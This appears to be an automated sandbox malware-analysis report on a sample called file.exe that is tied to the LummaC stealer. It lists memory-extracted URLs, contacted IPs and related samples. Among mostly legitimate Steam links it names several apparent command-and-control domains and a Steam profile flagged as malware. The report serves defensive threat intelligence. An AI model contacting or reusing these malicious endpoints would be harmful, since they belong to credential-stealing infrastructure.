https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.valvesoftware.com/legal.htm	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bathdoomgaz.store:443/apiA	file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/kI	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4Ok	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://broadcast.st.dl.ecc	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=l	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.ste	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com:443/profiles/76561199724331900	file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/points/shop/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	file.exe, 00000000.00000003.2199613296.0000000000E67000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218364928.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://www.youtube.com/	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/publi	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com:443/api	file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=cdfm	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/as	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/market/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/news/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.steampowered.com/;	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://recaptcha.net/recaptcha/;	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/discussions/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/stats/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/ja	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://medal.tv	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/steam_refunds/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://clearancek.site:443/api	file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContentl	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/legal/	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.a	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=qu55UpguGheU&l=e	file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEG	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.stea	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://recaptcha.net	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	file.exe, 00000000.00000003.2198463962.0000000000EE6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://studennotediw.store:443/api	file.exe, 00000000.00000002.2218168501.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:27060	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/CI	file.exe, 00000000.00000003.2198620307.0000000000EA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218561943.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2200305257.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/auth_re	file.exe, 00000000.00000002.2220685959.0000000005610000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R	file.exe, 00000000.00000003.2198620307.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198239048.0000000005611000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.53.8	sergei-esenin.com	United States		13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528371
Start date and time:	2024-10-07 21:17:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@10/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:18:05	API Interceptor	3x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.53.8	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sergei-esenin.com	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	172.67.206.204
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
steamcommunity.com	out.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	CSY6k9gpVb.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	TuQlz67byH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	CatalogApp.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
